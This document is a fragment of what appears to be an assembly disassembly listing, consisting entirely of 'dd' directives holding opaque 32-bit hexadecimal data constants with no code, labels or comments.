		dd 70FD970h, 2BE7B8h, 45784F50h, 0DB370ECCh, 0A787EA77h
		dd 0BF1A2092h, 0BC00E14Bh, 40D95F98h, 50B439h, 684701FDh
		dd 7D69121Eh, 94955600h, 0C0671F3Eh, 209B3E55h,	8A977580h
		dd 7C0B6A9Ah, 65C1E2A0h, 0D26EAF00h, 5472C226h,	232724BEh
		dd 0DF2C008Bh, 98305769h, 3BF6800Eh, 0F81C203Ah, 3EBA4CAAh
		dd 810717ACh, 0D3337Fh,	3FEB947h, 62993850h, 93879D09h
		dd 5E060015h, 568C27h, 4CFD8517h, 0AD5FF2F5h, 0C90080DEh
		dd 830B5169h, 335700A3h, 474B7C77h, 2D7EEC54h, 4DC0A614h
		dd 2E3A0080h, 70231BF8h, 4540C73Bh, 109157C3h, 15A8945Dh
		dd 0CC0027F4h, 0DACFD6F8h, 0BFD03Ah, 0D555D15Bh, 5419471Fh
		dd 6F8F5A03h, 80DF16E2h, 0B8BA3779h, 7A110031h,	81BD5D9h
		dd 933EB354h, 86B980A7h, 213FE31Dh, 0D4A30730h,	80F5F660h
		dd 4EF2D7E4h, 9D82FD00h, 7B2FF188h, 2BAE009Ah, 0E7B7CF27h
		dd 830081B9h, 827C961Dh, 0D449A6h, 35944A4Bh, 0F667DF17h
		dd 13AA280Eh, 780460EAh, 39E7E6BBh, 0F21C476Fh,	4CD60181h
		dd 8E90178Ch, 0B01440h,	39B1FC29h, 674503B8h, 0FA5C6F74h
		dd 633B33F8h, 8001E13Dh, 81BA6661h, 44F91DA5h, 8000D4A9h
		dd 8E4C5170h, 6C805B3h,	0F6C10DA8h, 1B1C80CDh, 0CF8082E7h
		dd 1EB86D22h, 90B059Fh,	4E03167Fh, 0C0C01980h, 0D931225Eh
		dd 13A02054h, 1B79D200h, 0DE779F25h, 53F700C8h,	4F4C4D72h
		dd 7600EF99h, 371FEEA2h, 32A540Fh, 9644738Ch, 1A883D4h
		dd 40DC5270h, 59ADC940h, 0E6B43818h, 5D410071h,	0C5D73B83h
		dd 84003046h, 3ACBEAEDh, 4C7F5Bh, 0BF52F0B2h, 6D9C181Ch
		dd 0A814210Fh, 51FA4091h, 0EC42D1B6h, 29F1038h,	0BA060041h
		dd 5B2ADD76h, 6FDC005Eh, 3AA4D41Ch, 0F700F1D2h,	0BA97563Eh
		dd 0E88F2Dh, 55FA3D14h,	0EF60CC4Eh, 94358C00h, 34C459C6h
		dd 0EC013CE7h, 9699C880h, 71B15B17h, 0F274EA06h, 30083279h
		dd 0AB203695h, 843A5B0Fh, 57BF00D8h, 85330AB8h,	979C002Fh
		dd 9135F69Eh, 0FB0EEF09h, 2046D075h, 34CE2C84h,	434A4D2h
		dd 71B45B0Ch, 606302h, 5B04AC21h, 6E5AE4A1h, 80D22C00h
		dd 0AEE5CCABh, 6315007Ah, 0A6980A20h, 79C39B9Eh, 0F137B7A8h
		dd 79F8AC11h, 8AD636Eh,	20009FAAh, 3F37A808h, 10B560Ch
		dd 64BDCA87h, 0FC3449BEh, 0F900E769h, 0F8BCB179h, 1DC97E88h
		dd 86AAF1E2h, 0E0DDF0F3h, 0D94DBA00h, 80BE6FA4h, 66D1C00Ah
		dd 4686816Ah, 28C0F000h, 97DC7B67h, 21C1C11h, 78D2C6E0h
		dd 3505207Fh, 3BBBC044h, 21FC203Ch, 8781D3A2h, 95B00EF6h
		dd 0F9C8C880h, 610C6A55h, 8F52773Dh, 0E65AAF1Fh, 1F204BC0h
		dd 16A1B58h, 0E0461C45h, 1939859Ch, 9C07E530h, 40386520h
		dd 111737B1h, 0F0109C46h, 83BE0099h, 0A401402Ch, 0FCC990D3h
		dd 0A89C771Ah, 1D865DACh, 80E13DE6h, 0AC4E94FDh, 3600893Bh
		dd 18D89D42h, 6782D49h,	5F63D9E0h, 1F0958C9h, 2DBDA0C7h
		dd 41BA02Ch, 471006C3h,	0DCCE5800h, 9CF07A1Eh, 1772EE0h
		dd 50400064h, 0A50797A0h, 1006FCB8h, 7BACC5E3h,	11D44228h
		dd 0C1215149h, 887C0F08h, 0C0887478h, 0C30D8845h, 79389C8Ch
		dd 4B2284ECh, 29E96E46h, 55C0EF2Eh, 6EDEA457h, 346DA309h
		dd 0CA68002Fh, 11C07C2h, 0F0AFB7A6h, 0E457E277h, 8A0E4CB5h
		dd 400F4ACDh, 10C83785h, 15C01472h, 4402F0ADh, 0DA0D4F24h
		dd 22C942E0h, 39001698h, 1E580625h, 3402FEDh, 2C6D16Bh
		dd 0CEF8FD33h, 0DE002CC4h, 218D4B0Ah, 3B3943B9h, 9E00491Dh
		dd 45D62EDFh, 7505EAF0h, 0CACF4C0Eh, 0F324B840h, 60B8E9h
		dd 0C9EF726Ch, 1911592Ch, 11C025F8h, 56B48648h,	0EC620549h
		dd 4083B034h, 0F9CB21D8h, 4F4CE1FDh, 0B2D200C5h, 6FB88953h
		dd 3C605A6h, 80AEA16Bh,	0D1711AEBh, 429FD703h, 0D92CE1EDh
		dd 5EC08BB2h, 2F2800A3h, 3319F81Fh, 1200FEAEh, 4A436A96h
		dd 484B27B6h, 0BA00B676h, 4923FB38h, 0E300BCC0h, 990CBB8Bh
		dd 7D71F29h, 5EB33421h,	97EC3071h, 0B9003155h, 54E06C52h
		dd 9C877A5h, 266257E8h,	0E7660681h, 0BD38C0F4h,	0A4BC5A0Fh
		dd 0CC87C3A2h, 757690EFh, 1EE700C5h, 13F6B2DDh,	97008F38h
		dd 0A485B3EEh, 90392F2h, 72F43B55h, 0F080580Fh,	0AC5FADE1h
		dd 8B674D00h, 2B248C75h, 98A20028h, 0AF9EE40Ah,	0FCF1F8B7h
		dd 0D003F5Fh, 22C53256h, 0BDF217h, 2B98D18Fh, 7EB5727Bh
		dd 308EB48h, 2D334547h,	36C0F041h, 89D500E2h, 0B2A3BA61h
		dd 0ED607822h, 2F3E5F0h, 33B0A818h, 74351682h, 76B6004Dh
		dd 90EBEC69h, 5A44F001h, 6E116636h, 1CA1020h, 5063383Ch
		dd 0D04D43D9h, 0CB0173E7h, 0C60D3E9Dh, 28801F2Dh, 96DA013Bh
		dd 809481Eh, 0AF64A44Ch, 5D30C73Ch, 5BDE71C1h, 7E31E5h
		dd 0A14D4438h, 0A60076B5h, 0EF041027h, 12E0B0AEh, 0BA730Eh
		dd 5D597C28h, 0E602CEC7h, 0F094BDE1h, 15F88071h, 9ECFEBh
		dd 8D8EB72Fh, 53D3261Eh, 0CB01E1FCh, 8581DEC9h,	0F09665B5h
		dd 0D33C01B9h, 0E050CFA0h, 0A500B33Eh, 0F382F6EEh, 12BB10FDh
		dd 16083DCh, 301DAA14h,	5244E84Eh, 9B00377Fh, 9D3F43BAh
		dd 0AB4657h, 0B3A706B5h
		dd 0D4349A17h, 4EB8A200h, 28C9F19Ch, 149202ECh,	73F45DDCh
		dd 16D00047h, 913F8447h, 0C034000Fh, 0DE3E6B0Dh, 7B920056h
		dd 6E0B248Ah, 5B00CF81h, 9588D225h, 0B3F6B0h, 8D27B1C1h
		dd 0DF5C4651h, 0FB664300h, 4C5693Ah, 2FDC000Ch,	71F892A5h
		dd 3275997Ah, 8F658E07h, 0F0A0EBDDh, 374777Bh, 185E03FEh
		dd 0CDF033C6h, 3D0F8E35h, 60872E14h, 0C18CB991h, 0DEE817h
		dd 2841DB15h, 0AC29DD38h, 0EE7F3000h, 0BF481C2Ch, 543D077Eh
		dd 670EA44Fh, 782C5FCDh, 0CE00D420h, 8118500Dh,	1D9F0197h
		dd 8E87B61Dh, 0DFEE9A61h, 0C75EB60h, 0FC0077E9h, 32CE1F68h
		dd 3DB6A229h, 3880B909h, 0FFA7AAB8h, 310244E3h,	5E5DC5A3h
		dd 48544094h, 5AEF007Fh, 0A8228EF4h, 6D48A534h,	0A6AE8010h
		dd 5A7A06h, 5080FEEFh, 40538F86h, 0DE001890h, 3618298Dh
		dd 386E64h, 90FF9C5h, 40C491E2h, 60ED622Ch, 0B606B71Dh
		dd 3583B0Ch, 81460FFh, 100501CFh, 15F0E875h, 8B40C41Dh
		dd 4C0D5667h, 0FEAA00EEh, 37075C51h, 2C48C8B9h,	8C7600D1h
		dd 97B07D42h, 0B43B123Ch, 8E9400FDh, 53B7D696h,	0D1C5AB1Fh
		dd 35F3E87h, 2CC79E27h,	684A0BE0h, 0EB610050h, 0A94B0E82h
		dd 0EA3E7CD8h, 650A9893h, 2E39C4B1h, 0CE17E6h, 0F1095BC7h
		dd 884C06B9h, 1A241C30h, 69D485C0h, 23C138Ch, 5F7A4B44h
		dd 3468913Eh, 1904DD80h, 6F53A76Eh, 0CB2414C1h,	12B0AD0h
		dd 62FC0483h, 0E4AAA5C7h, 5B00999Bh, 44CE751Eh,	95DE6Eh
		dd 0EC9DB796h, 7A21B054h, 0A95BD005h, 35C1C556h, 7ECCAAE1h
		dd 0FBD80333h, 0EECBA41Ah, 46C322E8h, 7CA7C200h, 90B1DB5Ah
		dd 0D8B5037Fh, 0AB42F3B2h, 0F800AFCDh, 0B0BD6E4Bh, 0BA330079h
		dd 0AA05C1BEh, 0C700A5CCh, 1E0A6817h, 0A18A9D4h, 0EEC25E7Ch
		dd 0CDD1008Ch, 8C8E33E4h, 4828A801h, 160E6FD6h,	0C2E63861h
		dd 0F27A63BAh, 0BAA76081h, 71E5005Eh, 83AD1E7Bh, 6000A03Ah
		dd 2F5DFCBDh, 19FAE27h,	0EB24E6FFh, 0F0D95CFEh,	63000535h
		dd 1551A895h, 0C0970FC9h, 0A714E5F4h, 9F74C683h, 0F0F23DEAh
		dd 8491DF00h, 0D128960Fh, 2A57CE9h, 1B1E4E76h, 70C05D50h
		dd 1F00FFBFh, 0EBC6B07Eh, 0D7610Fh, 0F17C25B2h,	30BE9E4Dh
		dd 0B70C8D7Eh, 70E0AE8Ch, 31E70911h, 2421C4BCh,	0F9DD9BC3h
		dd 8B3C20C8h, 0A610C006h, 7587222h, 887B45Dh, 1312706Ah
		dd 647A2C37h, 30E2FB32h, 0BC4077ECh, 0B6018747h, 6C242F15h
		dd 0DCECFDBDh, 18B2E0h,	83927752h, 39045C7Fh, 4BE95707h
		dd 0AFE08028h, 75610C4h, 0AE2DF31Fh, 2E32B369h,	0C5CE6BF0h
		dd 0D061CD0Fh, 4AF140E5h, 2D24BEAh, 452E2CE0h, 9580FC7Ch
		dd 1AE7BB5Ah, 270D6005h, 83C02209h, 0FE14D20Ah,	0F04F17F1h
		dd 0CA40025h, 0FE7DBDA5h, 78EF3107h, 83AF7314h,	0F8C0B19Eh
		dd 0A85464Ah, 307D2680h, 50370098h, 60A6E111h, 8A0BE00h
		dd 4F7F652Fh, 0BAC30969h, 0A0639BDAh, 0B5AF60CFh, 4000480Ah
		dd 31C2CD79h, 0CC8339h,	7750F0ECh, 2B28AAB6h, 0AB7EF00h
		dd 0C26C822Fh, 36430E42h, 0EA62898Fh, 0DEE38D44h, 8473C9F8h
		dd 0BB97B200h, 9FA7BE38h, 0B0AD00FDh, 8681EA0Ch, 0E500B8E7h
		dd 0C2C3CFE1h, 1ECA6A06h, 0C725F7A4h, 239596Eh,	80806315h
		dd 0FE589146h, 96AFAB00h, 28898C22h, 851E2EB5h,	14A4ACh
		dd 0EF180377h, 0D000F3B6h, 6B153FE0h, 0B60E5C3h, 8DAAA8A3h
		dd 0EF67A700h, 7404D7B9h, 0E699F3A6h, 25F8ECA0h, 38004AE1h
		dd 8E538425h, 1E05F897h, 4E1A6EF2h, 0C0E0DDFCh,	5AF86781h
		dd 0AC98B8E2h, 4C3A563Ah, 0EA2A0944h, 0C37040FCh, 53F90018h
		dd 5167FD3Eh, 82CB390h,	4878CF3h, 0EF50C505h, 57DEB10h
		dd 1AAF7975h, 96A48064h, 8A00B206h, 0E681B65Bh,	77AA3C2Fh
		dd 9B1C16C6h, 0BB6303BFh, 27C86D43h, 4FE4BA14h,	0EC0054EEh
		dd 0F6AD23EDh, 11C1C3h,	888C1981h, 8F443183h, 0BCDF1C05h
		dd 77840478h, 0DA3E8C80h, 72890612h, 0C896511Fh, 7C5D78C4h
		dd 0CD665CC0h, 0DE161C2Ch, 73728092h, 0F8E04199h, 88EC7604h
		dd 88E0B1E2h, 0AD6E2EC8h, 227803E1h, 0DA8D0E3h,	0D4031162h
		dd 0C94E2BABh, 0A036B0E4h, 0E6760758h, 4C9B9EE3h, 90004989h
		dd 0CB9189CEh, 38D94C1h, 328F61A6h, 2EB05992h, 0F00A44CDh
		dd 0A422FCDBh, 0E2FFCA80h, 1F2A2FF6h, 0C040083Eh, 9A071DA0h
		dd 0FA02CB62h, 0B8F593B0h, 0E3084028h, 410E03C8h, 796E9039h
		dd 54D6CEE0h, 0A5334E00h, 0BA58D876h, 38DF0E9h,	57564D82h
		dd 7A88F1E6h, 0E83DB078h, 1A29125Bh, 7DF6A400h,	817E0737h
		dd 16A3F01Bh, 43BB505h,	840068D5h, 0E0E82895h, 7AE303CCh
		dd 72C3A34Bh, 73AD8BC0h, 65504F12h, 5B0A8C00h, 715622D2h
		dd 0D61904E8h, 806C30C2h, 992903A4h, 0F200BF46h, 0A820A369h
		dd 0A100BC47h, 7848BBBh, 1D927A97h, 94317936h, 8A00E88Eh
		dd 6EF011FAh, 9E003B52h, 9FBA0ECh, 28E4349h, 7391F301h
		dd 0D850C6B4h, 81A7D900h, 2D75538Ah, 1AEA003Ch,	96357039h
		dd 0BD005244h, 0ED0CE6E8h, 2B19478h, 0D3393D1Bh, 90702D06h
		dd 18841525h, 547F04h, 27B7B958h, 0E3E07552h, 4142AF00h
		dd 0B06F98B1h, 0FDF21823h, 1E892AB2h, 0C066600h, 0C8E8AF47h
		dd 0C9E30FCBh, 9580462Ah, 84B00EE5h, 62A9B800h,	7D1C6AF5h
		dd 24E44Ch, 7A6111FBh, 36CA4113h, 0F0346C24h, 0AA789B00h
		dd 63C094DCh, 8316E9E7h, 81AE3488h, 5984AF00h, 0B195C256h
		dd 7950C40Ah, 0FB98F0ABh, 0AE48EA00h, 66771402h, 5DB90598h
		dd 0D0890DCBh, 4D3E1330h, 0E59458h, 0CC172EF1h,	0E26199Fh
		dd 50D3BCACh, 27B44E40h, 4A7D98ADh, 93F4F12Eh, 0F3596403h
		dd 0A8AFEB7Fh, 0BF7B1Ch, 9D7D70AEh, 0E42B765Dh,	80BA5C3Dh
		dd 0B24A852Ch, 14CBA2E8h, 84503542h, 24BE8A3Ah,	80541701h
		dd 809EFB4Ch, 1B8FB1B9h, 0BA4D4EDEh, 0B9275E0h,	0AB0A0FC0h
		dd 8E001BDCh, 0EC32D76Ah, 0B3BF15E9h, 6100D460h, 3918FF22h
		dd 1C0EA6B8h, 134C61Eh,	0A1A3ED1Ah, 0C83C46EDh,	0E783430Eh
		dd 1CA03040h, 1701A2B0h, 28F2D522h, 19BECA33h, 115EE280h
		dd 3B6643EAh, 9E803700h, 2118D4F4h, 2E2A3F42h, 13C3BF00h
		dd 20AB1D1Bh, 159413Fh,	5B27B010h, 0ACC0E4C0h, 3CA15C9Ch
		dd 8EAE0A00h, 0CD8946A6h, 6E3F4013h, 689EFC5Dh,	0C4356A80h
		dd 0E00D32h, 5E607943h,	8EE2CFC7h, 0B501BAEAh, 0C93FB0A8h
		dd 0C7033D9h, 61350D30h, 2011C80Bh, 0F300BE83h,	387604A8h
		dd 98782D8h, 0DDF4E50h,	0E7EC30E0h, 3B8D583Dh, 5A4C805Eh
		dd 784F9575h, 2AEF3B7Fh, 83A61B00h, 0AEE59496h,	18FAE300h
		dd 0A474AB0Eh, 64E900C7h, 6ED21445h, 8200F031h,	44849D0Ch
		dd 609F61h, 0F37A385Ch,	8745B335h, 0B1FBC139h, 685B10DEh
		dd 5F0930h, 60B6F869h, 172B1BF2h, 197CD660h, 0FA386D1Eh
		dd 0C97D1F25h, 0A0C8EC99h, 0EBE0D8h, 6CB2FE1Ah,	8DD93F5Ah
		dd 24B40F5Ch, 0B3005C6Ah, 58D5D3B1h, 4B68C1AEh,	20E85D8Bh
		dd 5F18F878h, 7182EA5Eh, 0B1EC08h, 3CF92E56h, 4DDC0C2h
		dd 0B44AF328h, 1EDA900h, 59303254h, 0CCC91E1Ah,	3C740DAh
		dd 61C18A4Eh, 82EF39h, 9BBBE411h, 34FF8C2h, 9C086DD4h
		dd 2000678Bh, 0D09F4C81h, 0DFEC0Ch, 13054B4h, 85394827h
		dd 166E8307h, 0F0A0038Bh, 189FCF96h, 4EC13F3Ch,	0D8A12B81h
		dd 32E02033h, 0E7D6C4C0h, 0FEE96h, 22A859A6h, 1F648F1Ah
		dd 7F392E00h, 0BFD40A4Ch
		dd 97E68Dh, 558CCC7Eh, 334B0F3Dh, 0EDDEAA03h, 8844C538h
		dd 0FCBC724h, 98412BB3h, 208EA60h, 0BE01F7BDh, 13FB95A5h
		dd 0F48083DCh, 0F515D76Bh, 95E39DDh, 0E4EB17C2h, 9ED10A94h
		dd 9F19A3h, 3EB24B60h, 860B431Bh, 2082D987h, 9FDF80DCh
		dd 3B7271Ch, 0FAD49080h, 0E0E9FBBAh, 0BF0BD544h, 4730454Fh
		dd 0EFA300D0h, 0D9175DFBh, 0F6700300h, 3384B982h, 76B03048h
		dd 0F5F4B610h, 3C8A5B00h, 0EB28533Ah, 0B9513887h, 24A1B181h
		dd 682912C6h, 945C1CD8h, 0AE00F917h, 16EC662Bh,	44F04CCDh
		dd 2200A520h, 0ED6C32A2h, 1F82451h, 82F9E3BFh, 0F06A588Eh
		dd 10C0E089h, 0D21DDCB3h, 0F80C0F37h, 82771B4Ah, 38DAD134h
		dd 80E38C3Fh, 0C519AA95h, 3CB2A233h, 9458E190h,	0C76EAF00h
		dd 0CAC31F9Dh, 0BE69B10Fh, 25020017h, 1C9362A0h, 0C06FDE7Bh
		dd 166A6051h, 0F9988374h, 3005860Bh, 1540EB1h, 243878B4h
		dd 7BEFC4h, 0F473D31Eh,	37D7C0BAh, 7900A171h, 2C3CFE1Dh
		dd 5D20C75h, 0ED431FC6h, 0D120C0A9h, 2009F92h, 65B7E33Dh
		dd 1C0CC73h, 0D57D755Bh, 609412F3h, 0FB012690h,	37BBD07Fh
		dd 0C2D824ACh, 85F3186Eh, 741C20B2h, 97EF74C6h,	0E9F60010h
		dd 46A966Ch, 7C1DB334h,	8D00FF14h, 0F9E1A71Fh, 0D5110E7Eh
		dd 43408A82h, 3E4DC73Fh, 0D2D46D00h, 57F67F62h,	0A100061h
		dd 0A58DFEE4h, 710015C1h, 7A21B7CBh, 592F73h, 68691E45h
		dd 0E23D13ABh, 6D97500h, 1503C9D0h, 92DE006Dh, 5D4255F3h
		dd 721D1938h, 7AC06734h, 0ECDAE57Fh, 0FD0B3F92h, 51C4B2FCh
		dd 9FCC9CF3h, 0E1675EDh, 6722AD56h, 0DB6368C2h,	0EF5FA540h
		dd 8FBFEC01h, 0D278A1CAh, 404FBC22h, 6AF31044h,	0F818AD38h
		dd 873648BDh, 30720004h, 0F6F50B41h, 0B13BC968h, 5FC30059h
		dd 70B9FF66h, 0AA4401EDh, 327A65Eh, 50CEF8E1h, 23022C7Ch
		dd 0B1EC9CA1h, 0FD4C49EAh, 400BD09Eh, 62160EFBh, 35789623h
		dd 38172Fh, 8F74DE3Ch, 0BE4B4447h, 0A0579444h, 242F9ABh
		dd 964049CFh, 0A870D8C1h, 0DBCC6400h, 65841BDEh, 7773388Fh
		dd 0F932A0Eh, 0A75D2CC1h, 5F4206Ch, 0AF30E605h,	3A80DCC4h
		dd 285A48Dh, 17523D3Fh,	8DFE20C5h, 65FBB030h, 40913A70h
		dd 0FA1C8800h, 0E94B84A3h, 282CD900h, 0EB0D3914h, 1233AA9h
		dd 0B6C62F80h, 5F1510C4h, 0AD6F30Bh, 264C8DE6h,	0E2E1B842h
		dd 5CA002EEh, 0BF68E9F9h, 0E621D4h, 1A983978h, 0A3FE66EAh
		dd 0CB1F697Ah, 8BC0F523h, 4A96B4D1h, 0F3B70790h, 907F4D0Ch
		dd 43F751FFh, 0EDB2400h, 2A543071h, 1DF20E26h, 1220E5EBh
		dd 91DF1803h, 9827F129h, 584D5001h, 0C0DAC67Dh,	8461892Ch
		dd 251A9901h, 4F3F4193h, 3EB07ED8h, 9C007B49h, 0C7DFB6E5h
		dd 3D015A39h, 0B734D477h, 0B9ECF0E0h, 0B8537DADh, 620C00DBh
		dd 7098FA9h, 8D00D716h,	0CE7468FCh, 0E9A39E5h, 0BD9C61C4h
		dd 6F3CA5A0h, 0FAE48B13h, 0E6C20600h, 8F367031h, 37490063h
		dd 2524B204h, 0F33F6511h, 55A50EDCh, 0A798C01Dh, 97ABA8h
		dd 0F9D446ADh, 0EEA66653h, 0CC28C20Ch, 6D750E1h, 25CA7C27h
		dd 290210FBh, 1CAC9B66h, 3CB8E8A1h, 0DEC90744h,	839E13F9h
		dd 6793840Bh, 0CF59FBF0h, 0BB1C8713h, 76661400h, 331B1Dh
		dd 512E345Ah, 0A208709Eh, 0C06FD60Bh, 4E33827Bh, 0F3E6E053h
		dd 8DF8176Bh, 8045007Dh, 0B11C72C2h, 0DE85C100h, 1AC5CBB6h
		dd 0A93516FCh, 8C7B093Eh, 0F6130400h, 0C401259Ah, 7F658B29h
		dd 7D7048DFh, 39973DBh,	15309EEFh, 0FEB03A1Bh, 1CE2CC0Bh
		dd 0D0E05F30h, 4C0AEC11h, 0F0304F1Dh, 3A0FFC10h, 208C3000h
		dd 6BAD94A8h, 749EB09Bh, 1EDB0070h, 95745544h, 0EE00B454h
		dd 0DE92CAE5h, 1302F366h, 1ED15630h, 590F0038h,	790AED6Eh
		dd 3048195h, 35CD54EBh,	11BAF900h, 4A6F9F00h, 712F1575h
		dd 80FD6FE0h, 6B763F81h, 0D086895h, 39E4DC49h, 0AA300EEFh
		dd 1E97726Fh, 32498A3Eh, 0B9790610h, 17093994h,	801104F4h
		dd 0EC6C8247h, 0D74C5CFCh, 9480A73Dh, 75CB9D97h, 430056CEh
		dd 0F7F0DD9Bh, 39EFB8h,	9149A746h, 0EA7A3811h, 79E18100h
		dd 861AABEEh, 0F59800C9h, 0A107C19Eh, 0D407B538h, 0D9A8EE2h
		dd 0F28018F3h, 0E5F240C5h, 0D6A40093h, 0B11B6E14h, 0A900E0DEh
		dd 45E33FF7h, 0E89504AEh, 992100CCh, 93365955h,	0F900861Bh
		dd 7EC56AEDh, 88E298h, 0FF64F194h, 1D42C167h, 0CA77A27Dh
		dd 18FC3900h, 97DD5DC9h, 0A43200C7h, 0BEF046CDh, 0E462B115h
		dd 80729618h, 429B1E90h, 0C269034Dh, 3D115BFh, 0C8982044h
		dd 0C4009C77h, 76F041F3h, 0C25B478Ah, 8F68420h,	57604C5Ch
		dd 2161126Ah, 0C39158C7h, 6A1DB20Bh, 0B8065E5Eh, 39E1B0h
		dd 0E9875D3Dh, 0F2C3C942h, 815E793Ah, 805472BBh, 76E029E3h
		dd 52A1E42Ah, 0C2F23CDEh, 49062430h, 9D00085Fh,	0FEE849FDh
		dd 0A00E192h, 95484FECh, 0F75636Fh, 0E274AD13h,	0EF5C0032h
		dd 71419642h, 0BE6FF000h, 2A296283h, 0D1980037h, 0FB640CDDh
		dd 8B3E0E6Dh, 429900BDh, 53CB446Ch, 0DED800EFh,	0B0CE2939h
		dd 540E5EB4h, 408EECD9h, 65300666h, 0B9F200D1h,	0AE6FEE7Eh
		dd 0BB006CA8h, 0DCFF1BB2h, 1C7A04E2h, 40D0A76Dh, 2D973C23h
		dd 0BE3DD8FAh, 9B45817Dh, 9EDD02DAh, 3FE4BC4h, 56D48C47h
		dd 1146CE7Fh, 910EFE04h, 90686AE8h, 0FF23415Dh,	0A210808Bh
		dd 1F0F7E40h, 415402A8h, 8A28B615h, 22C9CC40h, 0EB0B6801h
		dd 7C6285FDh, 43982988h, 1C846D90h, 91C14E08h, 8429C11h
		dd 10A5AB99h, 0EA018450h, 0B40D215Ch, 9CD5167h,	87BCE00h
		dd 34C7C31Dh, 0F54EB782h, 0B86A4065h, 0D022ECAh, 0AFF701ACh
		dd 0D8EBEDA4h, 75011F93h, 352A4DD2h, 0D0C40E90h, 0A9CE00D1h
		dd 45856883h, 0A400BB60h, 0FD347BD8h, 0C87F05h,	4265D9Fh
		dd 2C4E1F14h, 0B32B5F0Fh, 6F8080BFh, 0EA76B5h, 0D733DAFEh
		dd 25358BA4h, 0EBC01B13h, 58AEB103h, 156CD8BCh,	0F265006Eh
		dd 0D27BAB82h, 3F03FDA2h, 0A9ED3449h, 957198F8h, 0A5911C92h
		dd 8823C397h, 101DEF6Dh, 6F80FA62h, 0B8E80796h,	0A6CB00EAh
		dd 0DCF71B68h, 67EF8E3h, 0BE47E54h, 0CC7DED1Eh,	74E19C0h
		dd 863197h, 0C323A1A5h,	949016B6h, 0F058E4E5h, 4D00DDFAh
		dd 2C9DB7A8h, 2EDCEF7h,	0EE726BC3h, 0C436DD5h, 2900F0DEh
		dd 9D5E686Ch, 3E3D2522h, 0CB8F04B0h, 0F5E06D9Ah, 0A7B21AD0h
		dd 994BE700h, 2E0CD530h, 78F23B59h, 3E098050h, 589FAA1Eh
		dd 1BC3006Bh, 60742A63h, 863AEC00h, 8A22F7Ch, 93C51FAAh
		dd 258800EBh, 7753B065h, 948F3Fh, 506A2A71h, 7DA4C85h
		dd 0EE359F69h, 72F18082h, 943A4623h, 1AB20731h,	9240F397h
		dd 0B7103Fh, 64152CDh, 0EBAAF9EFh, 18D3A60Eh, 73F2838Dh
		dd 3C20F7C3h, 0E0B4676h, 6F7D09E5h, 3D43D80h, 5D00A0BFh
		dd 6CB58EF8h, 9B223Ch, 1F6AEBEFh, 0DEED21FCh, 68E59000h
		dd 43B01198h, 70A5005Bh, 339715E9h, 3639C0A9h, 51DE8061h
		dd 919D6625h, 5F2D00E2h, 0E1E4B0D4h, 0AE001C11h, 585310FFh
		dd 0CE49CAh, 7E6FEA2Ah,	0D77F4C14h, 0C003FE00h,	5DFDC32Fh
		dd 93630044h, 286DC1BFh, 60002EEBh, 77D247DFh, 0AA6E4Dh
		dd 0D875C57Bh, 274F8B79h, 16EA2202h, 0E0195D0Dh, 0D77039h
		dd 0C2A52DDBh, 3FD4A060h, 71091890h, 20CFDD28h,	4480DB14h
		dd 89B35076h, 196367A6h, 0B2625F28h, 2040AFDCh,	289A5C89h
		dd 54877F00h, 25022AC0h
		dd 9FBC3E46h, 0AC72027Ah, 79FC9596h, 589DCC80h,	0F10628F2h
		dd 99C64CEEh, 67330E10h, 43E0E560h, 9C8ACE5Dh, 0F51FF800h
		dd 8F832FD6h, 4063003Ah, 0A81706DAh, 60EC6A71h,	32DD6500h
		dd 0A56C80EEh, 0BD2700ACh, 0C1C25AFAh, 413E0EB2h, 53A61795h
		dd 431E7100h, 0C73CF4h,	4CD5B436h, 0E7B51324h, 6CC31C0Ah
		dd 0EF00F0C9h, 0AEBCD693h, 789501E0h, 0D3A32668h, 0F45C202Bh
		dd 22BAA500h, 93DD0B6h,	1AD0016h, 466DD6CDh, 2F009D95h
		dd 0F054A087h, 14810CD4h, 0F050C7CEh, 3AFEB90Fh, 1CE82C00h
		dd 551C89A8h, 0D7812788h, 9FA7FBFDh, 261980E3h,	0C9DE0070h
		dd 0AE47AB9Bh, 7C0E6AE4h, 4018D559h, 8D1D97D6h,	1C27BB5h
		dd 875A1352h, 0E0565398h, 0F70085DAh, 0B8315034h, 0C02319CCh
		dd 0B34A2819h, 54609927h, 0AC5EA10h, 0C46913B1h, 6EA3030Dh
		dd 0EFE5C9C1h, 57C2B7C1h, 7632880h, 214B4A8Dh, 2B1B2F00h
		dd 3BDF32AEh, 45D50023h, 2C364E54h, 5700A77Ch, 10A81EABh
		dd 0AFED05h, 48933FB2h,	0E017CE73h, 6B713500h, 255DF8Ah
		dd 54F20Ah, 47D20EA4h, 0AE443034h, 58753100h, 9B20D4EDh
		dd 0D3F8F3EEh, 76BA0E56h, 8E202235h, 0FE0BFBA1h, 0F66D106h
		dd 218CA7h, 0DD4394E3h,	0BED76C15h, 0D9411300h,	264ECEABh
		dd 587F4893h, 0BD060400h, 40C7C5F1h, 89B80500h,	49474B03h
		dd 38B100C0h, 27A6BE0Dh, 0B409C115h, 8266B521h,	44257907h
		dd 0C680F08h, 2761FC90h, 0C0153E4Bh, 33ED8A44h,	2CE100C8h
		dd 24D930C9h, 3AF538D1h, 89FDD380h, 0ACF6A58Eh,	2D03D501h
		dd 0B73887FCh, 0EC0843F8h, 5E3E0E8Ah, 0B3E0C0A3h, 3804F076h
		dd 0F6B27700h, 9FDFF51Bh, 133C00BFh, 0AD7B43B4h, 7F7A8CAEh
		dd 0ED586270h, 18D7030Ch, 806F04FCh, 7FFC1h, 41B981E9h
		dd 9B7E3E80h, 300E498h,	0E32A5723h, 0FC78BCh, 0C03989A2h
		dd 7CC5FA46h, 861E041Eh, 0B91DFF40h, 3BB5EA2Fh,	420144ABh
		dd 844F799Ah, 0FE19C472h, 0C15C410Fh, 66D000B5h, 0CBF41Dh
		dd 0D6EABABCh, 90F7A5FBh, 89C3AA1Ch, 7C186080h,	0F68DA702h
		dd 158B1BFDh, 13B821C4h, 9990BE14h, 0BB4A6100h,	0D025464Bh
		dd 12CB0719h, 0D07FF815h, 96BEAE53h, 4620820Bh,	0A6CE0780h
		dd 0F4D6D4E0h, 99F601A9h, 0C4891BFCh, 0C25D7065h, 1DDB4F00h
		dd 24A0226Bh, 8ED5078Ch, 0C1C4929Fh, 80D6BCACh,	3E791910h
		dd 14020FDh, 0B936B780h, 20EAAFF8h, 0ED60E359h,	3CB2468h
		dd 3F323075h, 13D24049h, 665AA200h, 4A09648h, 461700BDh
		dd 0F44ED31Fh, 3D1EBAAFh, 490F1C45h, 80F0EBF1h,	3AB87F82h
		dd 92690EB9h, 0C8000F8Dh, 8F7157B3h, 554E7907h,	99D0FDACh
